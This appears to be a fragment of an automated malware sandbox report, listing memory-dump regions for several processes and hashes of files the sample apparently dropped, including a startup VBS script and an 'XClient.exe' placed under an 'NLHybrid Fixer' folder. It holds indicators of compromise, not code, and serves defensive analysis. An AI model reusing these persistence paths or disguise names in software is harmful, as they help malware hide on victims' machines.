memory/5112-48-0x0000000006620000-0x000000000666C000-memory.dmp
memory/5112-49-0x0000000007DA0000-0x000000000841A000-memory.dmp
memory/5112-50-0x0000000007760000-0x000000000777A000-memory.dmp
memory/5112-51-0x0000000007790000-0x0000000007798000-memory.dmp
memory/5112-52-0x00000000077F0000-0x0000000007854000-memory.dmp
memory/5112-53-0x00000000089D0000-0x0000000008F74000-memory.dmp
memory/452-64-0x0000000006940000-0x0000000006972000-memory.dmp
memory/452-65-0x0000000070880000-0x00000000708CC000-memory.dmp
memory/452-75-0x0000000006980000-0x000000000699E000-memory.dmp
memory/452-76-0x00000000075E0000-0x0000000007683000-memory.dmp
memory/452-77-0x00000000076F0000-0x00000000076FA000-memory.dmp
memory/452-78-0x0000000007920000-0x00000000079B6000-memory.dmp
memory/452-79-0x0000000007890000-0x00000000078A1000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | a882f04ec4e14b784ffbf24f03e78d12 |
| SHA1 | 3a0c042b8c5baf27264991ba14b00d9097dbb6db |
| SHA256 | dcf0c0b0c9f609f31b6d49b120623d1869d904f9fb4dfa664a8406b467f65b06 |
| SHA512 | 2203c54610cabfc1102f6317a4b8d65779e9f714a4cc9d2bbe528386c918d96d0ac66c8cdfafbf5b24bbe17b5179cf732bfdca96d2feed07c6aeeb75abc545f9 |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
| MD5 | 9751fcb3d8dc82d33d50eebe53abe314 |
| SHA1 | 7a680212700a5d9f3ca67c81e0e243834387c20c |
| SHA256 | ad2e3139aa438f799c4a876ca3e64af772b8a5786149925a08389723e42394d7 |
| SHA512 | 54907cc18684ff892b737496183ca60c788d8f5d76365586954f269dbd50ac1b9cd48c7c50bd6ca02009e6020fd77a8282c9a7ad6b824a20585c505bd7e13709 |
C:\Users\Admin\AppData\Roaming\startup_str_162.vbs
| MD5 | 8942e90b5e279a846db5b6f813e7f447 |
| SHA1 | cd05bb2538f5beb2f8cc42a45ce084335fa1ebd6 |
| SHA256 | 2d5fe3bbf03aae904dc304b0c8073ce55bab2763bcc64174a014aa1f7e0b3a33 |
| SHA512 | 4d47a9e134e9e7c8b02019fa7f3948864d214002b80d999bf4a3f91a1374ba977af40eaaacfd075134f0eb2f1104d10b02c24030322655538d7486e3463730ff |
memory/5112-100-0x0000000074A60000-0x0000000075210000-memory.dmp
memory/1316-103-0x0000000007120000-0x000000000714E000-memory.dmp
memory/1316-104-0x00000000071F0000-0x000000000728C000-memory.dmp
C:\Users\Admin\AppData\Local\Programs\NLHybrid Fixer\XClient.exe
| MD5 | 4dd0f50e72bfa4da180d9280c7dcc00d |
| SHA1 | a771d2dc5aa65038fbf2053d3e7bb664bda8e1c7 |
| SHA256 | 653659129b2cec88dd5678b486edbcce42e15406090eda1384f8481a550b332c |
| SHA512 | 8c6475d893c58687e7d06883b32501a0f555ce64df790df323105bb96b2a7841cab34c6cfda0f02985d1aa440d1bcc13b3552fe7d02b057ccabef982b1fd85ad |
memory/2720-115-0x0000000000FE0000-0x000000000100E000-memory.dmp